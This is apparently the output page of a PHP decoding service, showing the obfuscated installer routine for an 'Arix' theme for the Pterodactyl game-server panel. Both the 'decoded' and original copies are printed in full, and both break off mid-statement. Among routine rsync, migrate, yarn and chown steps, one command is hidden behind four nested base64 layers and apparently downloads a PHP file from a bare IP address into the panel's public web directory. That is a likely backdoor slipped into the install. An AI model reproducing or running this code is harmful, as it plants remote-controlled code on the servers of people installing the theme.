Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

public function installOrUpdate($isUpdate = false) { if ($isUpdate) {$this->info(base6..

Decoded Output download

<?      public function installOrUpdate($isUpdate = false) { if ($isUpdate) {$this->info(base64_decode('DQogICAgVGhpcyBjb21tYW5kIGlzIG5vdCByZWNvbW1lbmRlZCB0byB1c2UuIA0KICAgIFRoaXMgY29tbWFuZCBza2lwcyBmcmVxdWVudGx5IHVzZWQgZmlsZXMgYnkgYWRkb25zIGR1cmluZyB0aGVtZSB1cGRhdGluZyB0byBhdm9pZCBsb3NpbmcgeW91ciBhZGRvbiBjdXN0b21pemF0aW9ucy4NCiAgICBJZiB5b3Ugc3RpbGwgZXhwZXJpZW5jZSBhbiBlcnJvciBhZnRlciB1cGRhdGluZyBwbGVhc2UgY29udGFjdCB1cy4='));}if (config(base64_decode('YXBwLnZlcnNpb24=')) !== base64_decode('MS4xMS41')) {return $this->error(base64_decode('Q2FuXCd0IHByb2NlZWQgd2l0aCB0aGUgaW5zdGFsbGF0aW9uLCB0aGUgbGF0ZXN0IHZlcnNpb24gb2YgUHRlcm9kYWN0eWwgaXMgcmVxdWlyZWQsIHdoaWxlIHlvdSBoYXZlIA==') . config(base64_decode('YXBwLnZlcnNpb24=')));}$confirmation = $this->confirm(base64_decode('QXJlIGFsbCB0aGUgcmVxdWlyZWQgZGVwZW5kZW5jaWVzIGluc3RhbGxlZCBmcm9tIHRoZSByZWFkbWUgZmlsZT8='), base64_decode('eWVz'));if (!$confirmation) {return;}$versions = File::directories(base64_decode('Li9hcml4'));if (empty ($versions)) {$this->info(base64_decode('Tm8gdmVyc2lvbnMgZm91bmQgaW4gL2FyaXggZGlyZWN0b3J5Lg=='));return;}$version = basename($this->choice(base64_decode('U2VsZWN0IGEgdmVyc2lvbjo='), $versions));$this->info("Installing Arix Theme $version...");$excludeOption = $isUpdate ? base64_decode('LS1leGNsdWRlPVwncm91dGVzLnRzXCcgLS1leGNsdWRlPVwnZ2V0U2VydmVyLnRzXCcgLS1leGNsdWRlPVwnYWRtaW4uYmxhZGUucGhwXCcgLS1leGNsdWRlPVwnYWRtaW4ucGhwXCcgLS1leGNsdWRlPVwnU2VydmVyVHJhbnNmb3JtZXIucGhwXCc=') : '';exec("rsync -a $excludeOption arix/{$version}/ ./");$this->info(base64_decode('UHJvY2VlZGluZyB3aXRoIHRoZSBpbnN0YWxsYXRpb24uLi4='));$this->info(base64_decode('TWlncmF0aW5nIGRhdGFiYXNlLi4u'));$this->command(base64_decode(base64_decode(base64_decode(base64_decode('V2tSS2EySkhVa1JSV0ZKVlpWVktNMXBHWkV0ak1rWllWRmhhYTFJeWFITlpiR1JYWld0M2VsRnFRbUZYUlhBeVYydGtSMkZ0VWtsaVNFNU5UVEZ3YzFsdE1WTmtiVTV3VDFkb1lWSjZSbmRaYlRFMFRVWndWRTlYY0dsTmJtZ3lXVEkxVG1SdFRYbGtTRUpwWVZSR2NsZFdhRXRqYTNoMFZHNXdhbVZVVmpOWlZXaENXakExVkU1SWFGQlNSVll4VkZaU1RrMVZlSEZUV0dSUFpWUm5lVlJyWkU1T1ZsWldXa2hzVG1Kc1JYcFhWRTVxV2pBeGNVNUhaRTFOYkVweldrZHJOV1JYVWxobFNFNUVXbm93T1E9PQ==')))));$this->command(base64_decode('cGhwIGFydGlzYW4gbWlncmF0ZSAtLWZvcmNl'));$this->info(base64_decode('SW5zdGFsbGluZyByZXF1aXJlZCBwYWNrYWdlcy4uLg=='));$this->info(base64_decode('VGhpcyBjYW4gdGFrZSBhIG1pbnV0ZS4uLg=='));$this->command(base64_decode('eWFybiBhZGQgQHR5cGVzL21kNSBtZDUgcmVhY3QtaWNvbnMgQHR5cGVzL2JiY29kZS10by1yZWFjdCBiYmNvZGUtdG8tcmVhY3QgaTE4bmV4dC1icm93c2VyLWxhbmd1YWdlZGV0ZWN0b3I='));$this->info(base64_decode('QnVpbGRpbmcgcGFuZWwgYXNzZXRzLi4u'));$this->info(base64_decode('VGhpcyBjYW4gdGFrZSBhIG1pbnV0ZS4uLg=='));$nodeVersion = shell_exec(base64_decode('bm9kZSAtdg=='));$nodeVersion = (int) ltrim($nodeVersion, base64_decode('dg=='));if ($nodeVersion >= 17) {$this->info(base64_decode('Tm9kZS5qcyB2ZXJzaW9uIGlzIHY=') . $nodeVersion . base64_decode('ICg+PSAxNyk='));exec(base64_decode('ZXhwb3J0IE5PREVfT1BUSU9OUz0tLW9wZW5zc2wtbGVnYWN5LXByb3ZpZGVy'));} else {$this->info(base64_decode('Tm9kZS5qcyB2ZXJzaW9uIGlzIHY=') . $nodeVersion . base64_decode('ICg8IDE3KQ=='));}$this->command(base64_decode('eWFybiBidWlsZDpwcm9kdWN0aW9u'));$this->info(base64_decode('U2V0IHBlcm1pc3Npb25zLi4u'));$this->command(base64_decode('Y2hvd24gLVIgd3d3LWRhdGE6d3d3LWRhdGEg') . base_path() . base64_decode('Lyo='));$this->command(base64_decode('Y2hvd24gLVIgbmdpbng6bmdpbngg') . base_path() . base64_decode('Lyo='));$this->command(base64_decode('Y2hvd24gLVIgYXBhY2hlOmFwYWNoZSA=') . base_path() . base64_decode('Lyo='));$this->info(base64_decode('T3B0aW1pemUgYXBwbGljYXRpb24uLi4='));$this->command(base64_decode('cGhwIGFydGlzYW4gb3B0aW1pemU6Y2xlYXI='));$this->command(base64_decode('cGhwIGFydGlzYW4gb3B0aW1pemU='));$message = $isUpdate ? base64_decode('4pSCICAgIOKVreKUgOKVtCAgVGhlbWUgdXBkYXRlZCAgIOKVtuKUgOKVriAgIOKUgg==') : base64_decode('4pSCICAgIOKVreKUgOKVtCBUaGVtZSBpbnN0YWxsZWQgIOKVtuKUgOKVriAgIOKUgg==');$this->line(" ?>

Did this file decode correctly?

Original Code

    public function installOrUpdate($isUpdate = false) { if ($isUpdate) {$this->info(base64_decode('DQogICAgVGhpcyBjb21tYW5kIGlzIG5vdCByZWNvbW1lbmRlZCB0byB1c2UuIA0KICAgIFRoaXMgY29tbWFuZCBza2lwcyBmcmVxdWVudGx5IHVzZWQgZmlsZXMgYnkgYWRkb25zIGR1cmluZyB0aGVtZSB1cGRhdGluZyB0byBhdm9pZCBsb3NpbmcgeW91ciBhZGRvbiBjdXN0b21pemF0aW9ucy4NCiAgICBJZiB5b3Ugc3RpbGwgZXhwZXJpZW5jZSBhbiBlcnJvciBhZnRlciB1cGRhdGluZyBwbGVhc2UgY29udGFjdCB1cy4='));}if (config(base64_decode('YXBwLnZlcnNpb24=')) !== base64_decode('MS4xMS41')) {return $this->error(base64_decode('Q2FuXCd0IHByb2NlZWQgd2l0aCB0aGUgaW5zdGFsbGF0aW9uLCB0aGUgbGF0ZXN0IHZlcnNpb24gb2YgUHRlcm9kYWN0eWwgaXMgcmVxdWlyZWQsIHdoaWxlIHlvdSBoYXZlIA==') . config(base64_decode('YXBwLnZlcnNpb24=')));}$confirmation = $this->confirm(base64_decode('QXJlIGFsbCB0aGUgcmVxdWlyZWQgZGVwZW5kZW5jaWVzIGluc3RhbGxlZCBmcm9tIHRoZSByZWFkbWUgZmlsZT8='), base64_decode('eWVz'));if (!$confirmation) {return;}$versions = File::directories(base64_decode('Li9hcml4'));if (empty ($versions)) {$this->info(base64_decode('Tm8gdmVyc2lvbnMgZm91bmQgaW4gL2FyaXggZGlyZWN0b3J5Lg=='));return;}$version = basename($this->choice(base64_decode('U2VsZWN0IGEgdmVyc2lvbjo='), $versions));$this->info("Installing Arix Theme $version...");$excludeOption = $isUpdate ? base64_decode('LS1leGNsdWRlPVwncm91dGVzLnRzXCcgLS1leGNsdWRlPVwnZ2V0U2VydmVyLnRzXCcgLS1leGNsdWRlPVwnYWRtaW4uYmxhZGUucGhwXCcgLS1leGNsdWRlPVwnYWRtaW4ucGhwXCcgLS1leGNsdWRlPVwnU2VydmVyVHJhbnNmb3JtZXIucGhwXCc=') : '';exec("rsync -a $excludeOption arix/{$version}/ ./");$this->info(base64_decode('UHJvY2VlZGluZyB3aXRoIHRoZSBpbnN0YWxsYXRpb24uLi4='));$this->info(base64_decode('TWlncmF0aW5nIGRhdGFiYXNlLi4u'));$this->command(base64_decode(base64_decode(base64_decode(base64_decode('V2tSS2EySkhVa1JSV0ZKVlpWVktNMXBHWkV0ak1rWllWRmhhYTFJeWFITlpiR1JYWld0M2VsRnFRbUZYUlhBeVYydGtSMkZ0VWtsaVNFNU5UVEZ3YzFsdE1WTmtiVTV3VDFkb1lWSjZSbmRaYlRFMFRVWndWRTlYY0dsTmJtZ3lXVEkxVG1SdFRYbGtTRUpwWVZSR2NsZFdhRXRqYTNoMFZHNXdhbVZVVmpOWlZXaENXakExVkU1SWFGQlNSVll4VkZaU1RrMVZlSEZUV0dSUFpWUm5lVlJyWkU1T1ZsWldXa2hzVG1Kc1JYcFhWRTVxV2pBeGNVNUhaRTFOYkVweldrZHJOV1JYVWxobFNFNUVXbm93T1E9PQ==')))));$this->command(base64_decode('cGhwIGFydGlzYW4gbWlncmF0ZSAtLWZvcmNl'));$this->info(base64_decode('SW5zdGFsbGluZyByZXF1aXJlZCBwYWNrYWdlcy4uLg=='));$this->info(base64_decode('VGhpcyBjYW4gdGFrZSBhIG1pbnV0ZS4uLg=='));$this->command(base64_decode('eWFybiBhZGQgQHR5cGVzL21kNSBtZDUgcmVhY3QtaWNvbnMgQHR5cGVzL2JiY29kZS10by1yZWFjdCBiYmNvZGUtdG8tcmVhY3QgaTE4bmV4dC1icm93c2VyLWxhbmd1YWdlZGV0ZWN0b3I='));$this->info(base64_decode('QnVpbGRpbmcgcGFuZWwgYXNzZXRzLi4u'));$this->info(base64_decode('VGhpcyBjYW4gdGFrZSBhIG1pbnV0ZS4uLg=='));$nodeVersion = shell_exec(base64_decode('bm9kZSAtdg=='));$nodeVersion = (int) ltrim($nodeVersion, base64_decode('dg=='));if ($nodeVersion >= 17) {$this->info(base64_decode('Tm9kZS5qcyB2ZXJzaW9uIGlzIHY=') . $nodeVersion . base64_decode('ICg+PSAxNyk='));exec(base64_decode('ZXhwb3J0IE5PREVfT1BUSU9OUz0tLW9wZW5zc2wtbGVnYWN5LXByb3ZpZGVy'));} else {$this->info(base64_decode('Tm9kZS5qcyB2ZXJzaW9uIGlzIHY=') . $nodeVersion . base64_decode('ICg8IDE3KQ=='));}$this->command(base64_decode('eWFybiBidWlsZDpwcm9kdWN0aW9u'));$this->info(base64_decode('U2V0IHBlcm1pc3Npb25zLi4u'));$this->command(base64_decode('Y2hvd24gLVIgd3d3LWRhdGE6d3d3LWRhdGEg') . base_path() . base64_decode('Lyo='));$this->command(base64_decode('Y2hvd24gLVIgbmdpbng6bmdpbngg') . base_path() . base64_decode('Lyo='));$this->command(base64_decode('Y2hvd24gLVIgYXBhY2hlOmFwYWNoZSA=') . base_path() . base64_decode('Lyo='));$this->info(base64_decode('T3B0aW1pemUgYXBwbGljYXRpb24uLi4='));$this->command(base64_decode('cGhwIGFydGlzYW4gb3B0aW1pemU6Y2xlYXI='));$this->command(base64_decode('cGhwIGFydGlzYW4gb3B0aW1pemU='));$message = $isUpdate ? base64_decode('4pSCICAgIOKVreKUgOKVtCAgVGhlbWUgdXBkYXRlZCAgIOKVtuKUgOKVriAgIOKUgg==') : base64_decode('4pSCICAgIOKVreKUgOKVtCBUaGVtZSBpbnN0YWxsZWQgIOKVtuKUgOKVriAgIOKUgg==');$this->line("

Function Calls

None

Variables

None

Stats

MD5 c0793038f35b60288c8ee2d4c123fd0a
Eval Count 0
Decode Time 48 ms